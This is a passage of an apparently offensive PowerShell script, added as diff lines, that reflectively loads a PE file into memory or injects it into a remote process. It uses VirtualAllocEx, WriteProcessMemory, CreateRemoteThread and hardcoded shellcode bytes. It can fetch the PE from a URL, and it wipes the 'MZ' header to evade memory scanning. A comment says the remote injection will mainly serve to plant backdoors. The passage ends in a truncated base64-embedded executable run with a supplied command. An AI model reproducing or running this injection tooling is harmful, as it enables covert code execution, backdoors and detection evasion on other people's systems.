$Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + #ASLR check + [IntPtr]$LoadAddr = [IntPtr]::Zero + $PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + if ((-not $ForceASLR) -and (-not $PESupportsASLR)) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + elseif ($ForceASLR -and (-not $PESupportsASLR)) + { + Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + } + + if ($ForceASLR -and $RemoteLoading) + { + Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + } + if ($RemoteLoading -and (-not $PESupportsASLR)) + { + Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process or if it is an EXE. + #Note that all DLL's loaded by the EXE will remain loaded in memory. + if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Delete the PE file from memory. + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + if ($PsCmdlet.ParameterSetName -ieq "LocalFile") + { + Get-ChildItem $PEPath -ErrorAction Stop | Out-Null + [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) + } + elseif ($PsCmdlet.ParameterSetName -ieq "WebFile") + { + $WebClient = New-Object System.Net.WebClient + + [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) + } + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' + } + + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName + } +} + +Main +} + function Main{ + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs $Command + } +Main +} + +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + $ExeArgs = "$Method $Command" + + [System.IO.Directory]::SetCurrentDirectory($pwd) + + #These bytes are generated with https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Convert-FileToBase64String.ps1 + $PEBytes64 = "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